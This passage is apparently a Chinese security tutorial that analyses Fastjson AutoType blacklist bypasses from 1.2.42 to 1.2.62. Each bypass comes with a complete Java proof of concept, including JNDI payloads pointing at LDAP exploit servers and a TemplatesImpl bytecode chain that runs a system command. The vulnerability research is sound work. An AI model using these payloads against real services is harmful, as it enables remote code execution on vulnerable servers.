import javassist.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class App
{
    public static void main( String[] args ) throws NotFoundException, CannotCompileException, IOException {
        //构造恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass Evil = pool.makeClass("Evil");
        Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String name = "Evil";
        Evil.setName(name);
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        CtConstructor constructor = Evil.makeClassInitializer();
        constructor.insertBefore(cmd);
        byte[] bytes =Evil.toBytecode();

        byte[] encodedBytes = Base64.getEncoder().encode(bytes);
        String base64Code=new String(encodedBytes, StandardCharsets.UTF_8);


        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\"_bytecodes\":[\""+base64Code+"\"],\"_name\":\"A\",\"_tfactory\":{},\"_outputProperties\":{}}";
        JSON.parse(payload, Feature.SupportNonPublicField);
//        JSON.parseObject(payload, Feature.SupportNonPublicField);

    }
}

Fastjson1.2.25-1.2.42

条件:开启AutoType

环境搭建

<dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.42</version>
</dependency>

这个版本中对src/main/java/com/alibaba/fastjson/parser/ParserConfig.java进行了大量修改,其中最明显的是将黑名单变成了hashcode

denyHashCodes = new long[]{
                -8720046426850100497L,
                -8109300701639721088L,
                -7966123100503199569L,
                -7766605818834748097L,
                -6835437086156813536L,
                -4082057040235125754L,
                -3979025623072794412L,
                -2364987994247679115L,
                -1872417015366588117L,
                -254670111376247151L,
                33238344207745342L,
                313864100207897507L,
                1203232727967308606L,
                3547627781654598988L,
                3730752432285826863L,
                4147696707147271408L,
                5450448828334921485L,
                5751393439502795295L,
                5944107969236155580L,
                6742705432718011780L,
                7179336928365889465L,
                7442624256860549330L,
                8838294710098435315L
        };

从1.2.42版本开始,Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究,提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist

绕过分析

重新审计checkAutoType()方法

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        } else if (typeName.length() < 128 && typeName.length() >= 3) {
            String className = typeName.replace('$', '.');
            Class<?> clazz = null;
            long BASIC = -3750763034362895579L;
            long PRIME = 1099511628211L;
            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                className = className.substring(1, className.length() - 1);
            }

首先获取@type指定的类的名字,如果存在$,就将其改为.

然后对className的开头结尾进行与hash异或检测,如果满足if的条件就进行“去头去尾” ,经过测试发现这里就是将L开头的和;结尾的className进行处理

然后往下

            long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
            long hash;
            int i;
            if (this.autoTypeSupport || expectClass != null) {
                hash = h3;

                for(i = 3; i < className.length(); ++i) {
                    hash ^= (long)className.charAt(i);
                    hash *= 1099511628211L;
                    if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                        if (clazz != null) {
                            return clazz;
                        }
                    }

                    if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }

这里其实就是进行黑白名单检测,只是变成了hash的样子(估计是为了加大审计难度),进入这个if也是需要autoTypeSupport==true

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

想绕过这里很简单,只需要再套一层L开头的和;结尾即可,

LLcom.sun.rowset.JdbcRowSetImpl;;

黑白名单检测前会去除掉一层,

Lcom.sun.rowset.JdbcRowSetImpl;

这个就可以绕过黑白名单了

然后往下继续

if (clazz == null) {
    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

因为clazz == null,进入loadClass,此时typeName

LLcom.sun.rowset.JdbcRowSetImpl;;

进入loadClass后

if (className != null && className.length() != 0) {
    Class<?> clazz = (Class)mappings.get(className);
    if (clazz != null) {
        return clazz;
    } else if (className.charAt(0) == '[') {
        Class<?> componentType = loadClass(className.substring(1), classLoader);
        return Array.newInstance(componentType, 0).getClass();
    } else if (className.startsWith("L") && className.endsWith(";")) {
        String newClassName = className.substring(1, className.length() - 1);
        return loadClass(newClassName, classLoader);

还是和上一个版本的一样,遇到L开头;结尾的就进行去头去尾得到新的newClassName

Lcom.sun.rowset.JdbcRowSetImpl;

然后将这个newClassName再传到loadClass(newClassName, classLoader)

也就是这个方法本身,这里类似递归

还是相同的逻辑进行去头去尾,然后获得到新的newClassName

com.sun.rowset.JdbcRowSetImpl

然后再走到这个loadClass,这次不会进入这些else if分支了

直接走的是最后的else分支

try {
         ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
         if (contextClassLoader != null && contextClassLoader != classLoader) {
             clazz = contextClassLoader.loadClass(className);
              if (cache) {
                mappings.put(className, clazz);
                }

              return clazz;
            }
         } catch (Throwable var6) {
     }

首先是获取加载器contextClassLoader,加载器满足if的条件的条件进入if语句,然后加载com.sun.rowset.JdbcRowSetImpl并返回

整个恶意类加载的过程大概就是酱紫了,完整的POC:

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class App
{
    public static void main( String[] args ) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
        String payload="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}";
        JSON.parseObject(payload);

    }
}

Fastjson1.2.25-1.2.43

条件:开启AutoType

环境搭建

<dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.43</version>
    </dependency>

在1.2.43版本中针对1.2.42的绕过方式进行了修复,修复的地方还是在checkAutoType()方法

1.2.42版本

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        } else if (typeName.length() < 128 && typeName.length() >= 3) {
            String className = typeName.replace('$', '.');
            Class<?> clazz = null;
            long BASIC = -3750763034362895579L;
            long PRIME = 1099511628211L;
            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                className = className.substring(1, className.length() - 1);
            }

1.2.43版本

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        } else if (typeName.length() < 128 && typeName.length() >= 3) {
            String className = typeName.replace('$', '.');
            Class<?> clazz = null;
            long BASIC = -3750763034362895579L;
            long PRIME = 1099511628211L;
            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                className = className.substring(1, className.length() - 1);
            }

对比可以看到,在第一次去除L开头和;结尾的步骤中,1.2.43版本还进行多一次检测,如果“去头去尾”后还检测到L开头和;结尾,那就直接报出错误,autoType is not support. Lxxxxxxxx;

主要的变化就这样,后面的逻辑和之前的一样

绕过分析

L+;这条路似乎是不行了,再看看loadClass()

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
    if (className != null && className.length() != 0) {
        Class<?> clazz = (Class)mappings.get(className);
        if (clazz != null) {
            return clazz;
        } else if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        } else if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);

L+;这条路走不了,可以试试[这条路,但是在1.2.41的时候就知道它是会报错的

比如

String payload="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}";

出现报错

Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0:1389/Basic/Command/calc","AutoCommit":true}

翻译:
线程中的异常 "main" com.alibaba.fastjson.JSONException: 期望 '[', 但是得到了 ,, 位置 42, JSON 数据 : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0:1389/Basic/Command/calc","AutoCommit":true}

大概就是说逗号,的这个位置,程序期望得到的是’[‘ , 那就按要求改

String payload="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}";

然后还继续报错

Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43

翻译

线程中的异常 "main" com.alibaba.fastjson.JSONException: 语法错误,期望 {,实际为字符串,位置 43,fastjson 版本 1.2.43

就是说这个[号的后面应该加一个{ ,那就加上

String payload="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}";

然后就成功加载了这个类,进行了JNDI注入

额~,这似乎有点意外

调试分析

因为ClassName = [com.sun.rowset.JdbcRowSetImpl 肯定能够绕过黑名单,进入loadClass,返回Array.newInstance(componentType, 0).getClass();

经过了checkAutoType的打磨后,得到的clazz如下

image-20230808145519743

往下进入了nextToken()

if (clazz != null) {
    lexer.nextToken(16);

因为"[com.sun.rowset.JdbcRowSetImpl\"[{检测到了第二个[,修改了原来的token值,原来的值是4,修改为了 14

image-20230808145755081

返回继续往下,这里是获取到一个和数组有关的反序列化器进行反序列化

image-20230808150052682

跟进deserialze

image-20230808150537793

这里利用了getComponentType()去解析这个类名,获取到了com.sun.rowset.JdbcRowSetImpl

image-20230808151129461

然后就是进入parseArray进行解析,跟进查看

if (token != 14) {
    throw new JSONException("exepct '[', but " + JSONToken.name(token) + ", " + this.lexer.info());
} 

之前报错是因为token!=14,限制token==14就不报错了

往下来到这个if语句,进入了else语句进行反序列化

if (this.lexer.token() == 8) {
    this.lexer.nextToken();
    val = null;
} else {
    val = ((ObjectDeserializer)deserializer).deserialze(this, type, i);
}

这里进行反序列化使用的类是JavaBeanDeserializer

反序列化后就成功弹出计算器了

image-20230808152146544

最后的POC

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class App
{
    public static void main( String[] args ) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}";
        JSON.parseObject(payload);

    }
}

Fastjson1.2.25-1.2.45

条件:开启AutoType,并且mybatis<3.5

环境搭建

<dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.45</version>
    </dependency>

    <dependency>
      <groupId>org.mybatis</groupId>
      <artifactId>mybatis</artifactId>
      <version>3.4.6</version>
    </dependency>

在1.2.44版本的修复中,修复了[绕过的漏洞

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
    if (typeName == null) {
        return null;
    } else if (typeName.length() < 128 && typeName.length() >= 3) {
        String className = typeName.replace('$', '.');
        Class<?> clazz = null;
        long BASIC = -3750763034362895579L;
        long PRIME = 1099511628211L;
        long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
        if (h1 == -5808493101479473382L) {
            throw new JSONException("autoType is not support. " + typeName);
        } else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
            throw new JSONException("autoType is not support. " + typeName);
       

可以看到,这里先处理了[开头的类名,如果是这里符号开头的话,直接报错

然后再检测开头和结尾,如果是L 开头;结尾的,也直接报错

绕过分析

loadClass的两条路直接被堵死,这能和黑名单硬刚了,找一个黑名单里面没有的,可利用的类

因为黑名单都是hashcode,需要参考https://github.com/LeadroyaL/fastjson-blacklist 这个项目,里面是作者找出的fastjson中hashcode对应的类

这个版本利用的是org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这个类,这个类不在黑名单里面,可过检测

这里使用的是setProperties这个方法,参数是Properties类型的继承自Hashtable

public void setProperties(Properties properties) {
    try {
        Properties env = getEnvProperties(properties);
        InitialContext initCtx;
        if (env == null) {
            initCtx = new InitialContext();
        } else {
            initCtx = new InitialContext(env);
        }

        if (properties.containsKey("initial_context") && properties.containsKey("data_source")) {
            Context ctx = (Context)initCtx.lookup(properties.getProperty("initial_context"));
            this.dataSource = (DataSource)ctx.lookup(properties.getProperty("data_source"));
        } else if (properties.containsKey("data_source")) {
            this.dataSource = (DataSource)initCtx.lookup(properties.getProperty("data_source"));
        }

    } catch (NamingException var5) {
        throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + var5, var5);
    }
}

这个方法可以在反序列化自动调用

//Hashtable
public synchronized boolean containsKey(Object key) {
    Entry<?,?> tab[] = table;
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            return true;
        }
    }
    return false;
}

properties.containsKey("initial_context") 和 properties.containsKey("data_source")这里的意思是检测这个properties是否存在initial_context或者data_source

如果两个都存在,则会进入第一个if语句,如果只存在data_source, 则进入else分支

进入if 语句后,就能够调用lookup进行JNDI注入了

查看properties.getProperty("data_source")是否可控

public String getProperty(String key) {
    Object oval = super.get(key);
    String sval = (oval instanceof String) ? (String)oval : null;
    return ((sval == null) && (defaults != null)) ? defaults.getProperty(key) : sval;
}

首先从父类Hashtable获取key对应的值,保存到oval,再判断这个oval是否是String类型的实例,如果是进行类型转换,如果不上则sval赋值为null

如果((sval == null) && (defaults != null))==true 则返回defaults.getProperty(key),否则返回sval

所以只有能够控制键值对中initial_context或者data_source的对应的值就能够利用lookup进行JNDI注入

下一步就是如何传入参数

public void setProperties(Properties properties)

已经知道这个setter方法可以自动调用了,这个参数是键值对,那就传入 一个键值对

String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://0.0.0.0:1389/Basic/Command/calc\"}}";

或者

String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"aaa\",\"initial_context\":\"ldap://0.0.0.0:1389/Basic/Command/calc\"}}";

这个需要开启AutoType,如果不开启,在checkAutoType里面无法返回已经加载的这个类

最终POC

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
public class App
{
    public static void main( String[] args ) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://0.0.0.0:1389/Basic/Command/calc\"}}";
        
//        String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"aaa\",\"initial_context\":\"ldap://0.0.0.0:1389/Basic/Command/calc\"}}";
        JSON.parseObject(payload);

    }
}

Fastjson1.2.25-1.2.47

环境搭建

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.47</version>
</dependency>

在这个版本中,为了修复 上个版本的漏洞,将org.apache.ibatis.datasource添加到了黑名单

image-20230808210641210

绕过分析

如果找不到一个不存在于黑名单的可利用类,只能在处理过程寻找漏洞,绕过黑白名单检测

因为阻挡我们利用的地方主要是checkAutoType这个方法,所以需要重新审计一下

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
    if (typeName == null) {
        return null;
    }

    if (typeName.length() >= 128 || typeName.length() < 3) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    String className = typeName.replace('$', '.');
    Class<?> clazz = null;

首先这个方法的开头,是对typeName进行一些简单的检测可处理,检测typeName是否为空,检测typeName长度,然后将$替换为.

往下:

final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
    throw new JSONException("autoType is not support. " + typeName);
}

if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
    throw new JSONException("autoType is not support. " + typeName);
}

final long h3 = (((((BASIC ^ className.charAt(0))
        * PRIME)
        ^ className.charAt(1))
        * PRIME)
        ^ className.charAt(2))
        * PRIME;

这里就是对1.2.43之前的两个绕过方式进行检测,这里无法绕过了,继续往下看

if (autoTypeSupport || expectClass != null) {
    long hash = h3;
    for (int i = 3; i < className.length(); ++i) {
        hash ^= className.charAt(i);
        hash *= PRIME;
        if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
            if (clazz != null) {
                return clazz;
            }
        }
        if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }
}

如果开启了autoType,就会进入这个if语句,先进行白名单检测,如果这个类再白名单里面,直接加载并返回,如果找不到,就去黑名单里面找,还找不到就继续往下

if (clazz == null) {
    clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
    clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
    if (expectClass != null
            && clazz != java.util.HashMap.class
            && !expectClass.isAssignableFrom(clazz)) {
        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }
    return clazz;
}

这一段就是当autoType未开启或者autoType开启后在黑白名单中都找不到的时候 ,尝试通过TypeUtils.getClassFromMapping或者deserializers.findClass来获取类,如果能够找到,进入第三个if语句,这里存在第二个return clazz,但是要确保不会进入里面的if语句

继续往下:

if (!autoTypeSupport) {
    long hash = h3;
    for (int i = 3; i < className.length(); ++i) {
        char c = className.charAt(i);
        hash ^= c;
        hash *= PRIME;

        if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
            if (clazz == null) {
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
            }

            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }
    }
}

这里是没有开启autoType的处理,首先进行一波黑名单过滤,再进行白名单检查,如果存在于白名单中那就会出现第三个return clazz

后面的已经不重要了,因为已经经过黑白名单了,如果还想往后面走,只能找到一个新的利用类

经过前面的分析发现,无论是否开启autoType,都会经过黑白名单检查,但是在未开启autoType的时候,在进入if (!autoTypeSupport)之前是存在一个return clazz的,也就是第二个return clazz,

autoType开启的情况下如果TypeUtils.getClassFromMapping(typeName) != null,也可以跳过黑名单检查进入第二个return clazz

if (clazz == null) {
    clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
    clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
    if (expectClass != null
            && clazz != java.util.HashMap.class
            && !expectClass.isAssignableFrom(clazz)) {
        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }
    return clazz;
}

如果能在进入黑白名单检查之前就返回出去,那就不需要经过后面的黑白名单检查了

要实现这个,首先要实现在TypeUtils.getClassFromMapping(typeName)或者deserializers.findClass(typeName);得到clazz

还要不进入

if (expectClass != null
            && clazz != java.util.HashMap.class
            && !expectClass.isAssignableFrom(clazz)) {
        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }

先看看TypeUtils.getClassFromMapping(typeName)

private static ConcurrentMap<String,Class<?>> mappings = new ConcurrentHashMap<String,Class<?>>(16, 0.75f, 1);
public static Class<?> getClassFromMapping(String className){
    return mappings.get(className);
}

这个是从mappings获取这个类,是一个MAP对象,那就寻找mappings.put()的地方,看看哪里可以将我们需要的类存进mappings里面

然后找到能利用的只有loadClass这个地方

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
    .....
    try{
        if(classLoader != null){
            clazz = classLoader.loadClass(className);
            if (cache) {
                mappings.put(className, clazz);//------>看这里
            }
            return clazz;
        }
    } catch(Throwable e){
        e.printStackTrace();
        // skip
    }
    try{
        ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
        if(contextClassLoader != null && contextClassLoader != classLoader){
            clazz = contextClassLoader.loadClass(className);
            if (cache) {
                mappings.put(className, clazz);//------>看这里
            }
            return clazz;
        }
    } catch(Throwable e){
        // skip
    }
    try{
        clazz = Class.forName(className);
        mappings.put(className, clazz);//------>看这里
        return clazz;  
    } catch(Throwable e){
        // skip
    }
    return clazz;
}

可以发现如果可以控制输入参数,是可以往这个mappings中写入任意类名的(从而绕过autocheck的黑白名单)

下一步就是寻找哪里调用了loadClass(String className, ClassLoader classLoader, boolean cache)

找到几个,其中有是在checkAutoType里面的,可直接Pass,剩下的就是

public static Class<?> loadClass(String className, ClassLoader classLoader) {
        return loadClass(className, classLoader, true);
    }

再寻找哪里调用了loadClass(String className, ClassLoader classLoader)

然后找到com/alibaba/fastjson/serializer/MiscCodec.java#deserialze(DefaultJSONParser parser, Type clazz, Object fieldName):335

if (clazz == Class.class) {
            return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
        }

这个方法的代码很长,需要一步一步往上分析

要运行到此处并且控制参数strVal为恶意类名,需要保证clazz == Class.class,这个clazz来自方法参数deserialze(DefaultJSONParser parser, Type clazz, Object fieldName)

然后往上查看strVal的来源

String strVal;

if (objVal == null) {
    strVal = null;
} else if (objVal instanceof String) {
    strVal = (String) objVal;
} else {
    ......
}

很明显的看到这个strVal的值来自objVal

继续往上寻找objVal的来源

Object objVal;
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
    parser.resolveStatus = DefaultJSONParser.NONE;
    parser.accept(JSONToken.COMMA);
    if (lexer.token() == JSONToken.LITERAL_STRING) {
        if (!"val".equals(lexer.stringVal())) {
            throw new JSONException("syntax error");
        }
        lexer.nextToken();
    } else {
        throw new JSONException("syntax error");
    }
    parser.accept(JSONToken.COLON);
    objVal = parser.parse();
    parser.accept(JSONToken.RBRACE);
} else {
    objVal = parser.parse();
}

这段代码中判断parser.resolveStatus == DefaultJSONParser.TypeNameRedirect,如果为false,直接 objVal = parser.parse();

如果为true,进入if语句,使用lexer判断当前的 token 是否为 JSONToken.LITERAL_STRING(字符串类型的值)如果是,再判断是否为”val“,不是则报错

parser.accept(JSONToken.COLON);中的JSONToken.COLON是冒号:JSONToken.RBRACE是右大括号;

parser.accept(JSONToken.COLON);
    objVal = parser.parse();
    parser.accept(JSONToken.RBRACE);

这段大概的意思是将json字符串中val对应的值赋给objVal,例如{“val”:”xxx”} 中的xxx ,这里可以控制为我们需要的恶意类名“val”:”恶意类名”

根据前面的分析还需要clazz == Class.class ,这个clazz可以为java.lang.Class

下一步就是寻找哪里调用了这个deserialze(DefaultJSONParser parser, Type clazz, Object fieldName)

查看引用处其实可以发现这是一个非常多地方会调用到的常用函数,就比如json解析过程中的com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

需要进入@type的那层if判断,在这个if语句的最后:

Object obj = deserializer.deserialze(this, clazz, fieldName);

分析到这里,假如利用的恶意类为com.sun.rowset.JdbcRowSetImpl , 初步的POC如下

{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

经过调试发现com.sun.rowset.JdbcRowSetImpl已经put到了mappings中了

现在只是将恶意类的类名加入了mappings里面还需要进一步的利用

com.sun.rowset.JdbcRowSetImpl的利用如下:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0:1389/Basic/Command/calc","AutoCommit":true}

两者结合一下

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"},
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://0.0.0.0:1389/Basic/Command/calc",
        "AutoCommit":true
    }
}

这个POC可开启autoType,因为开启autoType后,第一次进入checkAutoType(),class是java.lang.Class,不在黑白名单中,不会被拦截

第一次进入checkAutoType(), class是com.sun.rowset.JdbcRowSetImpl ,因为TypeUtils.getClassFromMapping(typeName) != null

不会进行黑名单检查

如果不开启autoType ,还没有进行黑白名单检查就已经return calzz了

最终POC:

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class App
{
    public static void main( String[] args ) {
//        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\n" +
                "    \"a\":{\n" +
                "        \"@type\":\"java.lang.Class\",\n" +
                "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\n" +
                "    \"b\":{\n" +
                "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                "        \"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\n" +
                "        \"AutoCommit\":true\n" +
                "    }\n" +
                "}";
        JSON.parseObject(payload);

    }
}

TemplatesImpl利用链:(建议使用这个利用链,不受JDK版本限制)

package org.example;
import com.alibaba.fastjson.JSON;
import java.io.*;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import com.alibaba.fastjson.parser.JSONScanner;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class App
{
    public static void main( String[] args ) throws NotFoundException, CannotCompileException, IOException {
        //构造恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass Evil = pool.makeClass("Evil");
        Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String name = "Evil";
        Evil.setName(name);
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        CtConstructor constructor = Evil.makeClassInitializer();
        constructor.insertBefore(cmd);
        byte[] bytes =Evil.toBytecode();

        byte[] encodedBytes = Base64.getEncoder().encode(bytes);
        String base64Code=new String(encodedBytes, StandardCharsets.UTF_8);
        String payload ="{\n" +
                "    \"a\":{\n" +
                "        \"@type\":\"java.lang.Class\",\n" +
                "        \"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"},\n" +
                "    \"b\":{\n" +
                "        \"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
                "        \"_bytecodes\":[\""+base64Code+"\"],\n" +
                "        \"_name\":\"aa\",\n" +
                "        \"_tfactory\":{ },\n" +
                "        \"_outputProperties\":{},\n" +
                "        \"_version\":\"\"\n" +
                "    }\n" +
                "}";

        JSON.parse(payload, Feature.SupportNonPublicField);

    }
}

注意:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

Fastjson1.2.25-1.2.59

需要开启AutoType,且会被JNDI注入利用所受的JDK版本限制

com.zaxxer.hikari.HikariConfig类PoC:

{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
或
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

Fastjson1.2.25-1.2.61

需要开启AutoType,且会被JNDI注入利用所受的JDK版本限制

org.apache.commons.proxy.provider.remoting.SessionBeanProvider类PoC:

{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}

Fastjson1.2.25-1.2.62

条件:xbean-reflect,开启AutoType

环境搭建:

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.62</version>
</dependency>

<dependency>
      <groupId>org.apache.xbean</groupId>
      <artifactId>xbean-reflect</artifactId>
      <version>4.15</version>
</dependency>

1.2.48中的修复措施是,在loadClass()时,将缓存开关默认置为False,所以默认是不能通过Class加载进缓存了。同时将java.lang.Class类加入到了黑名单中。

这个版本是找到一个新的利用类进行黑名单绕过

使用的是org.apache.xbean.propertyeditor.JndiConverter这个类

漏洞在

public class JndiConverter extends AbstractConverter {
    public JndiConverter() {
        super(Context.class);
    }

    protected Object toObjectImpl(String text) {
        try {
            InitialContext context = new InitialContext();
            return (Context) context.lookup(text);
        } catch (NamingException e) {
            throw new PropertyEditorException(e);
        }
    }

}

这个类继承AbstractConverter,而且可以看到这个toObjectImpl方法,如果参数text可控,则可以进行JNDI注入

查找哪里调用了toObjectImpl方法

public final Object toObject(String text) {
    if (text == null) {
        return null;
    }
    Object value = toObjectImpl((trim) ? text.trim() : text);
    return value;
}

再寻找调用toObject的地方

public final void setAsText(String text) {
    Object value = toObject((trim) ? text.trim() : text);
    super.setValue(value);
}

这个setter方法满足fastjson反序列化自动调用

因为AbstractConverter是abstract修饰的类

public abstract class AbstractConverter extends PropertyEditorSupport implements Converter{}

所以这里@type使用的是继承AbstractConverter的类org.apache.xbean.propertyeditor.JndiConverter

最终POC

package org.example;
import com.alibaba.fastjson.JSON;
